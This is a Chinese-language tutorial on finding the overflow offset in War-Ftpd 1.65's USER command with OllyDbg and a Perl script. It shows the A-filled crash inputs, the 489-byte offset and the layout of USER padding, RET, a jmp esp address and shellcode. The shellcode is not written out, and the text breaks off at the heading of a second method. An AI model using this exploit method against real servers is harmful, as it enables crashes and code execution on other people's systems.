漏洞软件:War-Ftpd version 1.65
调试软件:Ollydbg
程序编写:perl
漏洞描叙:构造USER,导致stack溢出。
关于一些调试的问题请参考:《Win32缓冲区溢出实战》http://www.ph4nt0m.org/doc/20041101160955.pdf
我们首先模仿ftp登陆写个脚本,并把提交的user用AAAA.....表示个数用参数提交,我们要确定的溢出点,就是看当我们提交的AAA.....刚刚覆盖我们的ret的个数。
|
#!/usr/bin/perl |
下面我们使用2分法来确定这个$eff.首先用ollydbg加载我们War-Ftpd并运行。
我们运行的pl
C:\usr\bin>exp.pl 800
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
当我们提交800个A时,溢出触发了,War-Ftpd挂了:).此时eip值为41414141。
这里我们重新用olldbg调试一次,这一次我们提交400个A:
C:\usr\bin>exp.pl 400
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
这时漏洞根本就没有触发,说明我们的ret根本没有被我们提交的AAAA覆盖。 我们可以确定
$eff的值在400-800之间。
我们在测试550个A,漏洞又被我们触发了,那么我们确定$eff的值在400-550之间
....................
最后,当我们提交489个A时,最后的4个A覆盖了我们的返回地址(ret)ollydbg可以看到我们
的eip正好被41414141覆盖,因此我们确定溢出点了:).也就是我们可以初步确定exp提交的字符了:
USER AAAA.....(485个)+RET+ShellCode
接下来我们要做的就是确定shellcode的地址,我们调试可以看到在esp附近可以找到我们的shellcode
那么我们就可以采用jump exp(或call esp)的地址覆盖RET,那么我们的转跳就完成了...............
其实我们这里只是完成了exp的一个小部分,主要还有shellcode的编写和调试,这个部分由于我基础
没打好,现在还不怎么熟悉,努力ing:)。
b.利用2次溢出定位溢出点
这个方法最开始在黑防上见到的,例子是上次的那个War-Ftpd version 1.65的user漏洞
第1次溢出






